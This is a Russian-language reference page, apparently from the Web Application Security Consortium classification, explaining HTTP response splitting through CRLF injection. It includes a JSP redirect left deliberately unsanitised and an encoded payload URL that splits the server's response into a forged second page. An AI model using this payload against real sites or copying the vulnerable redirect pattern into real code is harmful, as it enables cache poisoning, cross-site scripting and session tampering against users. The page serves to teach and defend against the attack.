    При использовании данной уязвимости злоумышленник посылает серверу специальным образом сформированный запрос, ответ на который интерпретируется целью атаки как два разных ответа. Второй ответ полностью контролируется злоумышленником, что дает ему возможность подделать ответ сервера.

    В реализации атак с расщеплением HTTP-запроса участвуют как минимум три стороны:

  • Web-сервер, содержащий подобную уязвимость.
  • Цель атаки, взаимодействующая с Web-сервером под управлением злоумышленника. Типично в качестве цели атаки выступает кэширующий сервер-посредник или кэш браузера.
  • Атакующий, инициирующий атаку.

    Возможность осуществления атаки возникает, когда сервер возвращает данные, предоставленные пользователем в заголовках HTTP ответа. Обычно это происходит при перенаправлении пользователя на другую страницу (коды HTTP 3xx) или когда данные, полученные от пользователя, сохраняются в cookie.

    В первой ситуации URL, на который происходит перенаправление, являются частью заголовка Location HTTP ответа, а во втором случае значение cookie передается в заголовке Set-Cookie.

    Основой расщепления HTTP-запроса является внедрение символов перевода строки (CR и LF) таким образом, чтобы сформировать две HTTP транзакции, в то время как реально будет происходить только одна. Перевод строки используется для того, что бы закрыть первую (стандартную) транзакцию и сформировать вторую пару вопрос/ответ, полностью контролируемую злоумышленником и абсолютно непредусмотренную логикой приложения.

    В результате успешной реализации этой атаки злоумышленник может выполнить следующие действия:

  • Межсайтовое выполнение сценариев.
  • Модификация данных кэша сервера-посредника. Некоторые кэширующие серверы-посредники (Squid 2.4, NetCache 5.2, Apache Proxy 2.0 и ряд других), сохраняют подделанный злоумышленником ответ на жестком диске и на последующие запросы пользователей по данному адресу возвращают кэшированные данные. Это приводит к замене страниц сервера на клиентской стороне. Кроме этого, злоумышленник может переправить себе значение Cookie пользователя или присвоить им определенное значение. Так же эта атака может быть направлена на индивидуальный кэш браузера пользователя.
  • Межпользовательская атака (один пользователь, одна страница, временная подмена страницы). При реализации этой атаки злоумышленник не посылает дополнительный запрос. Вместо этого используется тот факт, что некоторые серверы-посредники разделяют одно TCP-соединение к серверу между несколькими пользователями. В результате второй пользователь получает в ответ страницу, сформированную злоумышленником. Кроме подмены страницы злоумышленник может также выполнить различные операции с cookie пользователя.
  • Перехват страниц, содержащих пользовательские данные. В этом случае злоумышленник получает ответ сервера вместо самого пользователя. Таким образом, он может получить доступ к важной или конфиденциальной информации.

     

    Пример
    Ниже приведен пример JSP страницы /redir_lang.jsp
    <%
    response.sendRedirect ( «/by_lang.jsp?lang=„+
    request.getParameter („lang“));
    %>
    Когда данная страница вызывается пользователем с параметром lang=English, она направляет его браузер на страницу /by_lang.jsp?lang=English. Типичный ответ сервера выглядит следующим образом (используется сервер BEA WebLogic 8.1 SP1):

    HTTP/1.1 302 Moved Temporarily
    Date: Wed, 24 Dec 2003 12:53:28 GMT 
    Location: http://10.1.1.1/by_lang.jsp?lang=English
    Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003
    271009 with
    Content-Type: text/html
    Set-Cookie:
    JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXj
    ApqwBE!-1251019693; path=/
    Connection: Close

    <;br /> <html><head><title>302 Moved Temporarily</title></head>
    <body bgcolor=„#FFFFFF“>
    <p>This document you requested has moved temporarily.</p>
    <p>It's now at <a
    href=„http://10.1.1.1/by_lang.jsp?lang=English“ mce_href=„http://10.1.1.1/by_lang.jsp?lang=English“>http://10.1.1.1/by_lang.jsp?lan
    g=English</a>.</p>
    </body></html>

    При анализе ответа видно, что значение параметра lang передается в значении заголовка Location. При реализации атаки злоумышленник посылает в качестве значения lang символы перевода строки, для того, чтобы закрыть ответ сервера и сформировать ещё один:

    /redir_lang.jsp?lang=foobar%0d%0aContent-
    Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
    Type:%20text/html%0d%0aContent-
    Length:%2019%0d%0a%0d%0a<html>Shazam</html>
    При обработке этого запроса сервер передаст следующие данные:
    HTTP/1.1 302 Moved Temporarily
    Date: Wed, 24 Dec 2003 15:26:41 GMT 
    Location: http://10.1.1.1/by_lang.jsp?lang=foobar
    Content-Length: 0 

    HTTP/1.1 200 OK 
    Content-Type: text/html
    Content-Length: 19 

    <html>Shazam</html>
    Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003
    271009 with
    Content-Type: text/html
    Set-Cookie:
    JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST
    9UsS!-1251019693; path=/
    […]

    Эти данные будут обработаны клиентом следующим образом:

  • Первый ответ с кодом 302 будет командой перенаправления.
  • Второй ответ (код 200) объемом в 19 байт будет считаться содержимым той страницы, на которое происходит перенаправление.
  • Остальные данные, согласно спецификации HTTP, игнорируются клиентом.

    Ссылки

    „Divide and Conquer — HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics“ by Amit Klein,
    http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf

    «CRLF Injection“ by Ulf Harnhammar (BugTraq posting),
    http://www.securityfocus.com/archive/1/271515

    Русскоязычные ссылки

    HTTP REQUEST SMUGGLING,
    http://www.securitylab.ru/analytics/216403.php
    http://www.securitylab.ru/analytics/216404.php


  • Web Application Security Consortium
    http://www.webappsec.org
    contact@webappsec.org

    11.02.2008

    Комментарии

    ФИО: 
    E-mail: 
    Тема: 
    Комментарий: